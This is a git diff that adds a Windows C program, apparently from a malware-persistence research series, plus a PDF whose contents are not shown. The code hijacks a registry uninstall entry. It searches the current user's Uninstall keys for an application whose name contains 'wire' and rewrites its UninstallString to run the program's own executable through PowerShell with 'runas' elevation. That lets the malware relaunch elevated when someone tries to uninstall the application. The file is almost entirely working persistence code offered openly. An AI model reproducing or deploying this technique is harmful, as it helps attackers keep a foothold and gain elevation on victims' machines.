diff --git a/The Persistence Series/Cryogenically Frozen Malware/Cryogenically Frozen Malware.c b/The Persistence Series/Cryogenically Frozen Malware/Cryogenically Frozen Malware.c
new file mode 100644
index 0000000..8b88430
--- /dev/null
+++ b/The Persistence Series/Cryogenically Frozen Malware/Cryogenically Frozen Malware.c	
@@ -0,0 +1,165 @@
+#include <windows.h>
+#include <stdio.h>
+
+#define WCHAR_MAXPATH (MAX_PATH * sizeof(WCHAR))
+
+DWORD ModifyUninstallString(VOID);
+
+int main(VOID)
+{
+	DWORD dwReturn = ERROR_SUCCESS;
+	dwReturn = ModifyUninstallString();
+
+	if (dwReturn != ERROR_SUCCESS && dwReturn != ERROR_FILE_EXISTS)
+	{
+		return dwReturn;
+	}
+
+
+	while (TRUE)
+	{
+		Sleep(1000);
+	}
+
+	return ERROR_SUCCESS;
+}
+
+
+DWORD ModifyUninstallString(VOID)
+{
+	HKEY hKey = HKEY_CURRENT_USER;
+	WCHAR lpSubKey[WCHAR_MAXPATH] = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall";
+	HKEY  hOpenKey = NULL;
+	HKEY  phkResult;
+	DWORD dwSubKeys;
+	DWORD dwReservedError = ERROR_SUCCESS;
+	PWCHAR lpUninstallString = NULL;
+
+
+	if (RegOpenKeyEx(hKey, lpSubKey, 0, KEY_ALL_ACCESS, &phkResult) != ERROR_SUCCESS)
+	{
+		return GetLastError();
+	}
+
+	if (RegQueryInfoKey(phkResult, NULL, NULL, NULL, &dwSubKeys, NULL, NULL, NULL, NULL, NULL, NULL, NULL) != ERROR_SUCCESS)
+	{
+		goto EXIT_ROUTINE;
+	}
+
+	for (DWORD i = 0; i < dwSubKeys; i++)
+	{
+		DWORD Enum;
+		WCHAR lpName[WCHAR_MAXPATH] = { 0 };
+		WCHAR lpFullName[WCHAR_MAXPATH] = { 0 };
+		DWORD lpcchName = WCHAR_MAXPATH;
+		hOpenKey = 0;
+		WCHAR bValue[WCHAR_MAXPATH] = { 0 };
+		WCHAR pvData[2048] = { 0 };
+		WCHAR wModulePath[WCHAR_MAXPATH] = { 0 };
+		
+
+		Enum = RegEnumKeyExW(phkResult, i, lpName, &lpcchName, NULL, NULL, NULL, NULL);
+
+		if (Enum != ERROR_SUCCESS && Enum != ERROR_NO_MORE_ITEMS)
+		{
+			goto EXIT_ROUTINE;
+		}
+
+		if (wcsstr(lpName, L"wire") != NULL)
+		{
+			
+			if (RegOpenKeyEx(phkResult, lpName, 0, KEY_ALL_ACCESS, &hOpenKey) != ERROR_SUCCESS)
+			{
+				goto EXIT_ROUTINE;
+			}
+
+			Enum = 2048;
+
+
+			if (RegGetValue(hOpenKey, NULL, L"UninstallString", RRF_RT_REG_SZ, NULL, pvData, &Enum) != ERROR_SUCCESS)
+			{
+				goto EXIT_ROUTINE;
+			}
+
+			if (GetModuleFileName(NULL, bValue, WCHAR_MAXPATH) == 0)
+			{
+				goto EXIT_ROUTINE;
+			}
+
+			lpUninstallString = (PWCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, WCHAR_MAXPATH);
+			if (lpUninstallString == NULL)
+			{
+				goto EXIT_ROUTINE;
+			}
+
+			swprintf(lpUninstallString, L"powershell.exe start-process %ws -verb runas", bValue);
+
+
+			if (wcscmp(lpUninstallString, pvData) == ERROR_SUCCESS)
+			{
+				if (phkResult)
+				{
+					RegCloseKey(phkResult);
+				}
+
+				if (hOpenKey)
+				{
+					RegCloseKey(hOpenKey);
+				}
+
+				if (lpUninstallString)
+				{
+					HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, lpUninstallString);
+				}
+
+				return ERROR_FILE_EXISTS;
+			}
+
+			if (RegSetValueEx(hOpenKey, L"UninstallString", 0, REG_SZ, (PBYTE)lpUninstallString, (wcslen(lpUninstallString) * sizeof(WCHAR))) != ERROR_SUCCESS)
+			{
+				goto EXIT_ROUTINE;
+			}
+
+			if (hOpenKey)
+			{
+				RegCloseKey(hOpenKey);
+			}
+
+			break;
+		}
+
+	}
+
+	if (lpUninstallString)
+	{
+		HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, lpUninstallString);
+	}
+
+	if (phkResult)
+	{
+		RegCloseKey(phkResult);
+	}
+
+	return ERROR_SUCCESS;
+
+EXIT_ROUTINE:
+
+	dwReservedError = GetLastError();
+
+	if (phkResult)
+	{
+		RegCloseKey(phkResult);
+	}
+
+	if (hOpenKey)
+	{
+		RegCloseKey(hOpenKey);
+	}
+
+	if (lpUninstallString)
+	{
+		HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, lpUninstallString);
+	}
+
+	return dwReservedError;
+}
diff --git a/The Persistence Series/Cryogenically Frozen Malware/Cryogenically Frozen Malware.pdf b/The Persistence Series/Cryogenically Frozen Malware/Cryogenically Frozen Malware.pdf
new file mode 100644
index 0000000..ee33f56
Binary files /dev/null and b/The Persistence Series/Cryogenically Frozen Malware/Cryogenically Frozen Malware.pdf differ